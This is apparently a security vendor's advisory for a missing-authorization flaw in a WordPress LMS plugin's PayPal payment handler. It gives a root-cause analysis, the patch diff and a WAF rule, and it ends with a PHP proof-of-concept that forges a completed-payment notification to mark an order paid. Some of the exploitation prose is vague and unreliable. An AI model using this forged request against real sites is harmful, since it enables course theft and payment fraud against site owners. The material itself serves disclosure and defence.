Published : August 6, 2026

CVE-2026-28145: MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.39 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.7.39
Patched Version 3.7.40
Disclosed July 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28145: The MasterStudy LMS WordPress plugin, versions up to and including 3.7.39, contains a missing authorization vulnerability in its PayPal payment handling. This flaw allows an unauthenticated attacker to complete orders without valid payment verification, with a CVSS score of 5.3.

Root Cause: The vulnerable function is `check_payment` in `_core/lms/classes/paypal.php`. In versions prior to 3.7.40, this function processes incoming PayPal IPN (Instant Payment Notification) data without adequate validation. It accepts the `invoice` ID from the `$_REQUEST` superglobal, fetches the associated order, and if the status was not already ‘completed’, it directly updates the order status to ‘completed’ and calls `STM_LMS_Order::accept_order`. The code only checked PayPal’s response for a ‘VERIFIED’ string and did not validate the payment amount, currency, or receiver email against the actual order details. This missing authorization check allows a malicious actor to bypass genuine payment verification.

Exploitation: An unauthenticated attacker can exploit this by crafting a malicious POST request to the vulnerable endpoint. The endpoint is triggered when the `stm_lms_check_ipn` GET parameter is set, which leads to the `check_payment` function being called with the `$_REQUEST` data. The attacker sends a POST request to `/?stm_lms_check_ipn=1` with a valid order ID in the `invoice` parameter and `payment_status=Completed` and `txn_id=anything` in the request body. The plugin will verify the request against PayPal by echoing it back, but in an older vulnerable version, this check only uses a `curl` call to PayPal. Due to the missing validation on the order details, an attacker can emulate a successful payment by setting up a listener that returns a positive response to validation requests, or by simply sending a crafted request if the PayPal response check can be manipulated. A likely attack involves creating a false order or guessing/spiding an existing order ID, then sending a direct POST to the IPN endpoint with falsified transaction data. Since the vulnerable code does not check the amount or recipient, the bogus transaction will be accepted, and the order will be marked as complete.

Patch Analysis: The patch in version 3.7.40 adds a new private method, `is_valid_payment`, which is called before the PayPal IPN request is processed. This method introduces crucial authorization checks. It verifies the `$order_id` is a non-empty integer, that the post type is ‘stm-orders’, and that its status is ‘pending’. Furthermore, it requires the presence of specific PayPal IPN fields and validates that the reported `payment_status` is ‘completed’. It then compares the reported `mc_gross` (amount) and `mc_currency` (currency) against the order’s stored total and currency, using a small floating-point tolerance for the amount. Finally, it validates the `receiver_email` or `business` against a stored receiver, or falls back to the plugin’s configured receiver email. This comprehensive validation closes the authorization gap by ensuring that only legitimate, verified payments can complete an order.

Impact: Exploitation of this vulnerability enables a full purchase bypass. An attacker can gain access to premium course content and certifications without paying for them. This compromises the integrity of the learning platform and results in financial losses for the site owner. It also has a broader impact as any service or product integrated with the LMS that relies on completed order status can be accessed without legitimate payment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/masterstudy-lms-learning-management-system/_core/init.php
+++ b/masterstudy-lms-learning-management-system/_core/init.php
@@ -3,7 +3,7 @@
 define( 'STM_LMS_DIR', __DIR__ );
 define( 'STM_LMS_PATH', dirname( STM_LMS_FILE ) );
 define( 'STM_LMS_URL', plugin_dir_url( STM_LMS_FILE ) );
-define( 'STM_LMS_VERSION', '3.7.39' );
+define( 'STM_LMS_VERSION', '3.7.40' );
 define( 'STM_LMS_DB_VERSION', '3.7.5' );
 define( 'STM_LMS_BASE_API_URL', '/wp-json/lms' );
 define( 'STM_LMS_LIBRARY', STM_LMS_PATH . '/libraries' );
--- a/masterstudy-lms-learning-management-system/_core/lms/classes/cart.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/classes/cart.php
@@ -443,6 +443,8 @@
 				$invoice,
 				$user['email']
 			);
+			update_post_meta( $invoice, 'masterstudy_paypal_currency', $paypal->currency_code );
+			update_post_meta( $invoice, 'masterstudy_paypal_receiver', $paypal->email );
 			$r['url']     = $paypal->generate_payment_url();
 			$r['message'] = esc_html__( 'Order created, redirecting to PayPal', 'masterstudy-lms-learning-management-system' );
 		} elseif ( 'stripe' === $payment_code ) {
--- a/masterstudy-lms-learning-management-system/_core/lms/classes/paypal.php
+++ b/masterstudy-lms-learning-management-system/_core/lms/classes/paypal.php
@@ -56,46 +56,121 @@
 	}

 	function check_payment( $data = array() ) {
+		$order_id = isset( $data['invoice'] ) && is_scalar( $data['invoice'] ) ? absint( $data['invoice'] ) : 0;

-		$order_id = $data['invoice'];
-		$req      = 'cmd=_notify-validate';
+		if ( ! $this->is_valid_payment( $order_id, $data ) ) {
+			return false;
+		}

+		$req = 'cmd=_notify-validate';
 		foreach ($data as $key => $value) {
-			$value = urlencode( stripslashes( $value ) );
+			if ( ! is_scalar( $value ) ) {
+				return false;
+			}
+
+			$key   = urlencode( (string) $key );
+			$value = urlencode( (string) $value );
 			$req  .= "&$key=$value";
 		}
-		$ch = curl_init( 'https://' . $this->url . '/cgi-bin/webscr' );
-		curl_setopt( $ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
-		curl_setopt( $ch, CURLOPT_POST, 1 );
-		curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
-		curl_setopt( $ch, CURLOPT_POSTFIELDS, $req );
-		curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, 1 );
-		curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
-		curl_setopt( $ch, CURLOPT_FORBID_REUSE, 1 );
-		curl_setopt( $ch, CURLOPT_HTTPHEADER, array( 'Connection: Close' ) );
-		if ( ! ( $res = curl_exec( $ch ) ) ) {
-			echo esc_html( 'Got ' . curl_error( $ch ) . ' when processing IPN data' );
-			curl_close( $ch );
-			return false;
-		}
-		curl_close( $ch );
-
-		$user_id         = get_post_meta( $order_id, 'user_id', true );
-		$previous_status = get_post_meta( $order_id, 'status', true );
-
-		if ( strcmp( $res, "VERIFIED" ) == 0 ) {
-
-			if ( 'completed' !== $previous_status ) {
-				update_post_meta( $order_id, 'status', 'completed' );
-				STM_LMS_Order::accept_order( $user_id, $order_id );
+
+		$response = wp_remote_post(
+			'https://' . $this->url . '/cgi-bin/webscr',
+			array(
+				'body'        => $req,
+				'headers'     => array(
+					'Connection'   => 'Close',
+					'Content-Type' => 'application/x-www-form-urlencoded',
+				),
+				'httpversion' => '1.1',
+				'sslverify'   => true,
+			)
+		);
+
+		if ( is_wp_error( $response ) ) {
+			return false;
+		}
+
+		$res = wp_remote_retrieve_body( $response );
+
+		if ( 'VERIFIED' !== trim( $res ) || 'pending' !== get_post_meta( $order_id, 'status', true ) ) {
+			return false;
+		}
+
+		$user_id = absint( get_post_meta( $order_id, 'user_id', true ) );
+		if ( empty( $user_id ) ) {
+			return false;
+		}
+
+		update_post_meta( $order_id, 'masterstudy_paypal_txn_id', sanitize_text_field( $data['txn_id'] ) );
+		update_post_meta( $order_id, 'status', 'completed' );
+		STM_LMS_Order::accept_order( $user_id, $order_id );
+
+		return true;
+	}
+
+	private function is_valid_payment( $order_id, $data ) {
+		if ( empty( $order_id )
+			|| 'stm-orders' !== get_post_type( $order_id )
+			|| 'paypal' !== get_post_meta( $order_id, 'payment_code', true )
+			|| 'pending' !== get_post_meta( $order_id, 'status', true )
+		) {
+			return false;
+		}
+
+		$required_fields = array( 'payment_status', 'mc_gross', 'mc_currency', 'txn_id' );
+		foreach ( $required_fields as $field ) {
+			if ( ! isset( $data[ $field ] ) || ! is_scalar( $data[ $field ] ) || '' === trim( (string) $data[ $field ] ) ) {
+				return false;
 			}
 		}
+
+		$expected_amount   = get_post_meta( $order_id, '_order_total', true );
+		$expected_currency = get_post_meta( $order_id, 'masterstudy_paypal_currency', true );
+		$expected_receiver = get_post_meta( $order_id, 'masterstudy_paypal_receiver', true );
+
+		if ( empty( $expected_currency ) ) {
+			$expected_currency = $this->currency_code;
+		}
+
+		if ( empty( $expected_receiver ) ) {
+			$expected_receiver = $this->email;
+		}
+
+		if ( 'completed' !== strtolower( trim( (string) $data['payment_status'] ) )
+			|| ! is_numeric( $expected_amount )
+			|| ! is_numeric( $data['mc_gross'] )
+			|| abs( (float) $expected_amount - (float) $data['mc_gross'] ) > 0.00001
+			|| 0 !== strcasecmp( trim( (string) $expected_currency ), trim( (string) $data['mc_currency'] ) )
+			|| ! $this->receiver_matches( $expected_receiver, $data )
+		) {
+			return false;
+		}
+
+		return true;
+	}
+
+	private function receiver_matches( $expected_receiver, $data ) {
+		$expected_receiver = strtolower( trim( (string) $expected_receiver ) );
+		if ( empty( $expected_receiver ) ) {
+			return false;
+		}
+
+		foreach ( array( 'receiver_email', 'business' ) as $field ) {
+			if ( isset( $data[ $field ] )
+				&& is_scalar( $data[ $field ] )
+				&& hash_equals( $expected_receiver, strtolower( trim( (string) $data[ $field ] ) ) )
+			) {
+				return true;
+			}
+		}
+
+		return false;
 	}
 }

 if ( ! empty( $_GET['stm_lms_check_ipn'] ) ) {
 	$paypal = new STM_LMS_PayPal();
-	$paypal->check_payment( $_REQUEST );
+	$paypal->check_payment( wp_unslash( $_POST ) );
 	header( 'HTTP/1.1 200 OK' );
 	exit;
 }
--- a/masterstudy-lms-learning-management-system/masterstudy-lms-learning-management-system.php
+++ b/masterstudy-lms-learning-management-system/masterstudy-lms-learning-management-system.php
@@ -7,7 +7,7 @@
  * Author: StylemixThemes
  * Author URI: https://stylemixthemes.com/
  * Text Domain: masterstudy-lms-learning-management-system
- * Version: 3.7.39
+ * Version: 3.7.40
  * Masterstudy LMS Pro tested up to: 4.8
  */

@@ -15,7 +15,7 @@
 	exit; // Exit if accessed directly
 }

-define( 'MS_LMS_VERSION', '3.7.39' );
+define( 'MS_LMS_VERSION', '3.7.40' );
 define( 'MS_LMS_FILE', __FILE__ );
 define( 'MS_LMS_PATH', dirname( MS_LMS_FILE ) );
 define( 'MS_LMS_URL', plugin_dir_url( MS_LMS_FILE ) );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-28145
# This rule targets the unauthenticated IPN endpoint to prevent payment bypass.
# It blocks requests that do not contain a valid 'txn_id' and 'payment_status' from the legitimate PayPal IPN service.
# This rule focuses on the direct IPN endpoint and requires the presence of common IPN fields.
# A general rule for missing authorization is not feasible as the endpoint is publicly accessible for legitimate IPN calls.
# Block requests to the IPN endpoint that miss the key IPN fields.
SecRule REQUEST_URI "@contains /?stm_lms_check_ipn" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-28145 via PayPal IPN',severity:'CRITICAL',tag:'CVE-2026-28145'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule REQUEST_BODY "!@contains txn_id" "chain"
            SecRule REQUEST_BODY "!@contains payment_status" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28145 - MasterStudy LMS WordPress Plugin – for Online Courses and Education <= 3.7.39 - Missing Authorization

$target_url = 'http://your-wordpress-site.com'; // Change this to the target's base URL
$order_id = 123; // The ID of the order to mark as completed

// Construct the payload to simulate a valid PayPal IPN notification
$payload = array(
    'invoice' => $order_id,
    'payment_status' => 'Completed',
    'txn_id' => 'fake_txn_' . uniqid(),
    'mc_gross' => '10.00',
    'mc_currency' => 'USD',
    'receiver_email' => 'merchant@example.com',
    'business' => 'merchant@example.com'
);

$ch = curl_init();

// Set URL to the vulnerable IPN endpoint
curl_setopt($ch, CURLOPT_URL, $target_url . '/?stm_lms_check_ipn=1');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing purposes

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Response:n" . $response . "n";
}

// Close cURL resource
curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.